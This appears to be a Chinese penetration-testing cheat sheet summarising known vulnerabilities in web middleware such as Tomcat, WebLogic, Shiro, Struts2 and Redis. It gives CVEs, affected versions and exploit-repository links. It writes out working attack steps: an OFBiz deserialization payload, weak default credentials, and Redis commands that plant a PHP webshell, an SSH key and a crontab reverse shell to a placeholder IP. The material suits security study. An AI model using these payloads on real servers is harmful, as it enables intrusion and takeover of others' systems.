- 0.1:一、 常见web中间件及其漏洞概述
- 0.2:二、漏洞细则及exp
- 0.3:常见的中间件漏洞就总结到这,作者会根据自身学习情况适时更新
常见中间件漏洞总结
声明:本文只是总结一下网上常见的中间件漏洞,并没有具体的漏洞分析,但是会给出一些作者认为写的比较好的分析文章,链接附在相应漏洞的下方
一、 常见web中间件及其漏洞概述
(一) IIS
1、PUT漏洞
2、短文件名猜解
3、远程代码执行
4、解析漏洞
(二) Apache
1、解析漏洞
2、目录遍历
3、RCE
4、反序列化
5、SSRF
(三) Nginx
1、文件解析
2、目录遍历
3、CRLF注入
4、目录穿越
(四)Tomcat
1、任意文件上传
2、文件读取/包含漏洞
3、反序列化漏洞
4、进程注入
5、未授权war后门文件部署
(五)jBoss
1、反序列化漏洞
2、war后门文件部署
(六)WebLogic
1、反序列化漏洞
2、SSRF
3、任意文件上传
4、RCE
5、war后门文件部署
(七)shiro
1、反序列化漏洞(常见的721、550)
2、未授权访问漏洞
(八)struts2
1、一堆RCE
(九)其它中间件相关漏洞
1、FastCGI未授权访问、任意命令执行
2、PHPCGI远程代码执行
3、Redis未授权访问
4、fastjson反序列化漏洞
5、Spring RCE
二、漏洞细则及exp
(一) IIS
1.PUT漏洞
用户配置不当,exp:https://github.com/hackping/HTTPMLScan.git
2.短文件名猜解
IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。
exp:https://github.com/WebBreacher/tilde_enum
3.远程代码执行(CVE-2017-7269)
exp:https://github.com/zcgonvh/cve-2017-7269
4.文件解析漏洞
iis6.0畸形解析:asa、cer
iis6.0目录解析:/test.asp/test.jpg
iis6.0文件解析:test.asp;.jpg
IIS7.5文件解析:test.jpg/.php
(二) Apache
1.文件解析漏洞
用户配置不当,如1.php.biubiu会被当成php文件执行
2.目录遍历
用户配置不当,扫描到目录直接访问即可
3.RCE
Apache Ofbiz XMLRPC RCE(CVE-2020-9496)
影响版本
Apache Ofbiz:< 17.12.04
poc步骤
step1:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "你的指令" | base64 | tr -d '\n'
step2:放入下面xml 中,POST发送
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
4.反序列化
Apache很多的中间件都存在反序列化漏洞,这里单独说Dubbo,shiro在下面单独开了个坑
Dubbo 2.7.6 反序列化漏洞(CVE-2020-1948)
影响版本
Dubbo 2.7.0 to 2.7.6
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions (not supported by official team any longer)
exp:https://github.com/ctlyz123/CVE-2020-1948.git
5.SSRF
关于Apache的ssrf可以去看P牛的这篇文章
https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html
(三) Nginx
1.文件解析
用户配置不当,对于任意文件名,在后面加上/任意文件名.php后该文件就会以php格式进行解析,如1.png/.php
2.目录遍历
用户配置不当,扫描到目录直接访问即可
3.CRLF注入
CRLF时"回车+换行"(\r\n)的简称。
HTTP Header与HTTP Body时用两个CRLF分隔的,浏览器根据两个CRLF来取出HTTP内容并显示出来。
通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话cookie或者html代码,由于Nginx配置不正确,导致注入的代码会被执行。
访问页面,抓包
请求加上
/%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
如上述操作可能会造成XSS
4.目录穿越
Nginx反向代理,静态文件存储在/home/下,而访问时需要在url中输入files,配置文件中/files没有用/闭合,导致可以穿越至上层目录。
(四)Tomcat
1.任意文件上传
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
cve-2017-12615
影响范围
Apache Tomcat 7.0.0 - 7.0.81
exp:https://raw.githubusercontent.com/zhzyker/exphub/master/tomcat/cve-2017-12615_cmd.py
2.文件读取/包含漏洞
CVE-2020-1938
影响范围
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
exp:https://github.com/0nise/CVE-2020-1938
3.反序列化漏洞
影响范围
<= 9.0.34
<= 8.5.54
<= 7.0.103
exp:https://github.com/masahiro331/CVE-2020-9484.git
4.进程注入
利用进程注入可以注入内存马,这里可以给出冰蝎作者写的exp
https://github.com/rebeyond/memShell
5、未授权/弱口令war后门文件部署
在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令,使用工具对其进行穷举。得到密码后,也可以进行后台上传恶意代码控制服务器。
可以制作jsp木马打包成zip改名为war文件,上传部署在tomcat,war会自动解压到,然后用webshell管理工具连接即可
(五)jBoss
1.反序列化漏洞
反序列化漏洞
CVE-2017-12149
影响范围
Jboss AS 5.x/6.x
exp
https://github.com/yunxu1/jboss-_CVE-2017-12149
2.war后门文件部署
具体做法可参照
https://blog.csdn.net/qq_48985780/article/details/121465858
(六)WebLogic
1.反序列化漏洞
CVE-2016-3510
影响范围
Oracle WebLogic Server如下版本
12.2.1.0
12.1.3.0
12.1.2.0
10.3.6.0
CVE-2020-2551: Weblogic IIOP反序列化漏洞
影响范围
Oracle Weblogic Server如下版本
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
CVE-2017-3506:XMLDecoder反序列化漏洞
漏洞原理
在/wls-wsat/CoordinatorPortType(POST)处构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞
CVE-2017-10271:XMLDecoder反序列化漏洞
漏洞原理
在CVE-2017-3506之前,不对payload进行验证,使用object tag可以RCE,CVE-2017-3506的补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法,在解析xml时,Element字段出现object tag就抛出运行时异常,不过这次防护力度不够,导致了CVE-2017-10271,利用方式类似,使用了void tag进行RCE
2.SSRF
CVE-2014-4210
影响版本
10.0.2
10.3.6
3.任意文件上传/读取
任意文件读取漏洞(CVE-2019-2615))and 文件上传漏洞(CVE-2019-2618)
影响范围
Oracle Weblogic Server如下版本
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
注意:该漏洞需要用户名密码的认证才可利用。
4.RCE
Console HTTP 协议远程代码执行漏洞(CVE-2020-14882)
Oracle Weblogic Server如下版本
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
以上的Weblogic漏洞的EXP大部分可在此自动化扫描脚本里面找到
https://github.com/0xn0ne/weblogicScanner
5.war后门文件部署
弱口令进入后台,部署war文件即可。
常见weblogic弱口令:
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123
(七)shiro
1.反序列化漏洞(常见的721、550)
550
受影响版本
Apache Shiro <=1.2.4
特征判断
返回包中含有rememberMe=deleteMe字段
漏洞原理
在Shiro <= 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化。由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞。
721
受影响版本
1.2.5
1.2.6
1.3.0
1.3.1
1.3.2
1.4.0-RC2
1.4.0
1.4.1
漏洞原理
由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
具体可以看看这篇文章
https://blog.csdn.net/qq_41874930/article/details/121314926
2.未授权访问漏洞/权限绕过
1、影响版本
Apache Shiro < 1.5.2
2、漏洞原因
Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。
具体分析可以看这篇文章
https://blog.spoock.com/2020/05/09/cve-2020-1957/
(八)struts
各种RCE
影响版本
S2-057 CVE-2018-11776 Struts 2.3 to 2.3.34,Struts 2.5 to 2.5.16
S2-048 CVE-2017-9791 Struts 2.3.X
S2-046 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10
S2-045 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10
S2-037 CVE-2016-4438 Struts 2.3.20-2.3.28.1
S2-032 CVE-2016-3081 Struts 2.3.18-2.3.28
S2-020 CVE-2014-0094 Struts 2.0.0-2.3.16
S2-019 CVE-2013-4316 Struts 2.0.0-2.3.15.1
S2-016 CVE-2013-2251 Struts 2.0.0-2.3.15
S2-013 CVE-2013-1966 Struts 2.0.0-2.3.14
S2-009 CVE-2011-3923 Struts 2.0.0-2.3.1.1
S2-005 CVE-2010-1870 Struts 2.0.0-2.1.8.1
exp地址:https://github.com/Lucifer1993/struts-scan
(九)其它中间件相关漏洞
1.FastCGI未授权访问、任意命令执行
漏洞成因
服务端使用fastcgi协议并对外网开放9000端口,可以构造fastcgi协议包内容,实现未授权访问服务端.php文件以及执行任意命令。
2.PHPCGI远程代码执行
漏洞原理
在apache调用php解释器解释.php文件时,会将url参数传给php解释器,如果在url后加传命令行开关(例如-s、-d 、-c或-dauto_prepend_file%3d/etc/passwd+-n)等参数时,会导致源代码泄露和任意代码执行。
此漏洞影响php-5.3.12以前的版本,mod方式、fpm方式不受影响。
3.Redis未授权访问
1.命令执行
Redis Lua Sandbox Escape
CVE-2022-0543
2.redis-cli写webshell
例子:
127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set webshell "<?php @eval($_POST[1]);?>"
OK
127.0.0.1:6379> save
3.redis-cli写sshkey
例子:
127.0.0.1:6379> config set dir /root/.ssh/
OK
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
127.0.0.1:6379> save
OK
4.redis-cli写crontab
127.0.0.1:6379> set x "\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/2333 0>&1\n"
OK
127.0.0.1:6379> config set dir /var/spool/cron/
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> save
OK
5.主从复制RCE
因为redis采用的resp协议的验证非常简洁,所以可以采用python模拟一个redis服务的交互,并且将备份的rdb数据库备份文件内容替换为恶意的so文件,然后就会自动在节点redis中生成exp.so,再用module load命令加载so文件即可完成rce。
主从复制的利用场景在于节点服务可以访问主节点,因为只要主节点可以返回包就行了,复制数据库是从返回的包里面去获取的。所以只要可以tcp访问外网就行了。
上述攻击方法是在redis暴露在公网6379端口下的,如果redis运行在内网中,那么只能利用ssrf来攻击。
对于无认证的redis,可以通过gopher或dict协议来写入Webshell,而有认证的redis就只能使用gopher来写入。
ssrf还可以利用http协议来进行攻击,只需要一个crlf即可。
4.fastjson反序列化漏洞
从1.2.24版本开始就存在反序列化漏洞,可以看看这位师傅的文章:
https://tttang.com/archive/1579/
5.Spring RCE
CVE-2022-22965:Spring Framework RCE
文章:https://tttang.com/archive/1532/
嗨嗨嗨